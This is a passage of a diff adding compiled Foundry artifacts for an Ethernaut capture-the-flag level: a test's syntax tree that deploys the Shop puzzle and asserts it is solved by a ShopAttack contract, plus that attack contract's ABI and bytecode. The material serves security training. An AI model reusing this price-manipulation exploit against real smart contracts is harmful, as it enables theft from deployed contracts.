ShopFactory"}}},"id":64190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1023:17:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract ShopFactory"}},"nodeType":"VariableDeclarationStatement","src":"1001:39:146"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":64198,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64186,"src":"1088:7:146","typeDescriptions":{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract ShopFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract ShopFactory"}],"id":64197,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1080:7:146","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64196,"name":"address","nodeType":"ElementaryTypeName","src":"1080:7:146","typeDescriptions":{}}},"id":64199,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1080:16:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64195,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1074:5:146","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64200,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1074:23:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":64192,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64129,"src":"1050:9:146","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64194,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1060:13:146","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1050:23:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":64201,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1050:48:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64202,"nodeType":"ExpressionStatement","src":"1050:48:146"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64203,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1108:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64205,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1111:9:146","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1108:12:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64206,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1108:14:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64207,"nodeType":"ExpressionStatement","src":"1108:14:146"},{"expression":{"arguments":[{"id":64211,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64136,"src":"1147:6:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64208,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1133:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64210,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1136:10:146","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1133:13:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64212,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1133:21:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64213,"nodeType":"ExpressionStatement","src":"1133:21:146"},{"expression":{"id":64230,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64214,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64132,"src":"1164:8:146","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":64219,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64129,"src":"1208:9:146","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":64223,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64186,"src":"1233:7:146","typeDescriptions":{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract ShopFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract ShopFactory"}],"id":64222,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1225:7:146","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64221,"name":"address","nodeType":"ElementaryTypeName","src":"1225:7:146","typeDescriptions":{}}},"id":64224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1225:16:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64220,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1219:5:146","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":64225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1219:23:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":64226,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1244:11:146","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":64218,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1188:19:146","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":64227,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1188:68:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64217,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1180:8:146","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":64216,"name":"address","nodeType":"ElementaryTypeName","src":"1180:8:146","stateMutability":"payable","typeDescriptions":{}}},"id":64228,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1180:77:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64215,"name":"Shop","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55081,"src":"1175:4:146","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Shop_$55081_$","typeString":"type(contract Shop)"}},"id":64229,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1175:83:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"src":"1164:94:146","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"id":64231,"nodeType":"ExpressionStatement","src":"1164:94:146"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64232,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1268:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1271:9:146","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1268:12:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64235,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1268:14:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64236,"nodeType":"ExpressionStatement","src":"1268:14:146"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"708:5:146","parameters":{"id":64137,"nodeType":"ParameterList","parameters":[],"src":"713:2:146"},"returnParameters":{"id":64138,"nodeType":"ParameterList","parameters":[],"src":"723:0:146"},"scope":64295,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64259,"nodeType":"FunctionDefinition","src":"1541:137:146","nodes":[],"body":{"id":64258,"nodeType":"Block","src":"1568:110:146","nodes":[],"statements":[{"expression":{"arguments":[{"id":64245,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64136,"src":"1592:6:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64242,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1578:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64244,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1581:10:146","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1578:13:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1578:21:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64247,"nodeType":"ExpressionStatement","src":"1578:21:146"},{"expression":{"arguments":[{"arguments":[{"id":64250,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64129,"src":"1641:9:146","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64253,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64132,"src":"1660:8:146","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}],"id":64252,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1652:7:146","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64251,"name":"address","nodeType":"ElementaryTypeName","src":"1652:7:146","typeDescriptions":{}}},"id":64254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1652:17:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64249,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1621:19:146","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64255,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1621:49:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64248,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1609:11:146","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64256,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1609:62:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64257,"nodeType":"ExpressionStatement","src":"1609:62:146"}]},"documentation":{"id":64239,"nodeType":"StructuredDocumentation","src":"1473:63:146","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1550:8:146","parameters":{"id":64240,"nodeType":"ParameterList","parameters":[],"src":"1558:2:146"},"returnParameters":{"id":64241,"nodeType":"ParameterList","parameters":[],"src":"1568:0:146"},"scope":64295,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64294,"nodeType":"FunctionDefinition","src":"1733:222:146","nodes":[],"body":{"id":64293,"nodeType":"Block","src":"1761:194:146","nodes":[],"statements":[{"expression":{"arguments":[{"id":64266,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64136,"src":"1785:6:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64263,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1771:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64265,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1774:10:146","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1771:13:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64267,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1771:21:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64268,"nodeType":"ExpressionStatement","src":"1771:21:146"},{"assignments":[64271],"declarations":[{"constant":false,"id":64271,"mutability":"mutable","name":"attacker","nameLocation":"1814:8:146","nodeType":"VariableDeclaration","scope":64293,"src":"1803:19:146","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ShopAttack_$49804","typeString":"contract ShopAttack"},"typeName":{"id":64270,"nodeType":"UserDefinedTypeName","pathNode":{"id":64269,"name":"ShopAttack","nameLocations":["1803:10:146"],"nodeType":"IdentifierPath","referencedDeclaration":49804,"src":"1803:10:146"},"referencedDeclaration":49804,"src":"1803:10:146","typeDescriptions":{"typeIdentifier":"t_contract$_ShopAttack_$49804","typeString":"contract ShopAttack"}},"visibility":"internal"}],"id":64276,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":64274,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1825:14:146","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_ShopAttack_$49804_$","typeString":"function () returns (contract ShopAttack)"},"typeName":{"id":64273,"nodeType":"UserDefinedTypeName","pathNode":{"id":64272,"name":"ShopAttack","nameLocations":["1829:10:146"],"nodeType":"IdentifierPath","referencedDeclaration":49804,"src":"1829:10:146"},"referencedDeclaration":49804,"src":"1829:10:146","typeDescriptions":{"typeIdentifier":"t_contract$_ShopAttack_$49804","typeString":"contract ShopAttack"}}},"id":64275,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1825:16:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ShopAttack_$49804","typeString":"contract ShopAttack"}},"nodeType":"VariableDeclarationStatement","src":"1803:38:146"},{"expression":{"arguments":[{"id":64280,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64132,"src":"1867:8:146","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}],"expression":{"id":64277,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64271,"src":"1851:8:146","typeDescriptions":{"typeIdentifier":"t_contract$_ShopAttack_$49804","typeString":"contract ShopAttack"}},"id":64279,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1860:6:146","memberName":"attack","nodeType":"MemberAccess","referencedDeclaration":49803,"src":"1851:15:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Shop_$55081_$returns$__$","typeString":"function (contract Shop) external"}},"id":64281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1851:25:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64282,"nodeType":"ExpressionStatement","src":"1851:25:146"},{"expression":{"arguments":[{"arguments":[{"id":64285,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64129,"src":"1918:9:146","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64288,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64132,"src":"1937:8:146","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}],"id":64287,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1929:7:146","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64286,"name":"address","nodeType":"ElementaryTypeName","src":"1929:7:146","typeDescriptions":{}}},"id":64289,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1929:17:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64284,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1898:19:146","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64290,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1898:49:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64283,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1887:10:146","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64291,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1887:61:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64292,"nodeType":"ExpressionStatement","src":"1887:61:146"}]},"documentation":{"id":64260,"nodeType":"StructuredDocumentation","src":"1684:44:146","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1742:9:146","parameters":{"id":64261,"nodeType":"ParameterList","parameters":[],"src":"1751:2:146"},"returnParameters":{"id":64262,"nodeType":"ParameterList","parameters":[],"src":"1761:0:146"},"scope":64295,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":64123,"name":"Test","nameLocations":["400:4:146"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"400:4:146"},"id":64124,"nodeType":"InheritanceSpecifier","src":"400:4:146"},{"baseName":{"id":64125,"name":"Utils","nameLocations":["406:5:146"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"406:5:146"},"id":64126,"nodeType":"InheritanceSpecifier","src":"406:5:146"}],"canonicalName":"TestShop","contractDependencies":[49101,49804,55136,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[64295,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestShop","nameLocation":"388:8:146","scope":64296,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":146} \ No newline at end of file diff --git a/contracts/out/ShopAttack.sol/ShopAttack.json b/contracts/out/ShopAttack.sol/ShopAttack.json new file mode 100644 index 000000000..b1f46f4ab --- /dev/null +++ b/contracts/out/ShopAttack.sol/ShopAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"attack","inputs":[{"name":"_victim","type":"address","internalType":"contract Shop"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"price","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506101d88061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c8063a035b1fe14610038578063d018db3e14610052575b5f80fd5b610040610067565b60405190815260200160405180910390f35b610065610060366004610149565b6100eb565b005b5f3373ffffffffffffffffffffffffffffffffffffffff1663e852e7416040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100d59190610183565b6100e05760646100e3565b60015b60ff16905090565b8073ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610130575f80fd5b505af1158015610142573d5f803e3d5ffd5b5050505050565b5f60208284031215610159575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461017c575f80fd5b9392505050565b5f60208284031215610193575f80fd5b8151801515811461017c575f80fdfea2646970667358221220a137900409926bb12dd4ec83bbc8fde2edd00c2fc096f48d2bafea503df9ca1464736f6c63430008180033","sourceMap":"88:217:56:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c8063a035b1fe14610038578063d018db3e14610052575b5f80fd5b610040610067565b60405190815260200160405180910390f35b610065610060366004610149565b6100eb565b005b5f3373ffffffffffffffffffffffffffffffffffffffff1663e852e7416040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100d59190610183565b6100e05760646100e3565b60015b60ff16905090565b8073ffffffffffffffffffffffffffffffffffffffff1663a6f2ae3a6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610130575f80fd5b505af1158015610142573d5f803e3d5ffd5b5050505050565b5f60208284031215610159575f80fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461017c575f80fd5b9392505050565b5f60208284031215610193575f80fd5b8151801515811461017c575f80fdfea2646970667358221220a137900409926bb12dd4ec83bbc8fde2edd00c2fc096f48d2bafea503df9ca1464736f6c63430008180033","sourceMap":"88:217:56:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;114:108;;;:::i;:::-;;;160:25:155;;;148:2;133:18;114:108:56;;;;;;;228:75;;;;;;:::i;:::-;;:::i;:::-;;114:108;154:7;185:10;180:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:35;;212:3;180:35;;;208:1;180:35;173:42;;;;114:108;:::o;228:75::-;282:7;277:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;228:75;:::o;196:323:155:-;269:6;322:2;310:9;301:7;297:23;293:32;290:52;;;338:1;335;328:12;290:52;377:9;364:23;427:42;420:5;416:54;409:5;406:65;396:93;;485:1;482;475:12;396:93;508:5;196:323;-1:-1:-1;;;196:323:155:o;524:277::-;591:6;644:2;632:9;623:7;619:23;615:32;612:52;;;660:1;657;650:12;612:52;692:9;686:16;745:5;738:13;731:21;724:5;721:32;711:60;;767:1;764;757:12","linkReferences":{}},"methodIdentifiers":{"attack(address)":"d018db3e","price()":"a035b1fe"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"contract Shop\",\"name\":\"_victim\",\"type\":\"address\"}],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"price\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/ShopAttack.sol\":\"ShopAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/ShopAttack.sol\":{\"keccak256\":\"0xf2b179a07d508051858d64cefb99084b12abbc8b5e7c6960e288fc0394399c3f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6814949dcfab56fbb10c65fd8423fe09805292b18421e66c92f2f5bee9db0068\",\"dweb:/ipfs/Qmetff9RnpHx3gpvjW41Vt6WhyCrWS4J4LBB8pdzMrv2Ys\"]},\"src/levels/Shop.sol\":{\"keccak256\":\"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337\",\"dweb:/i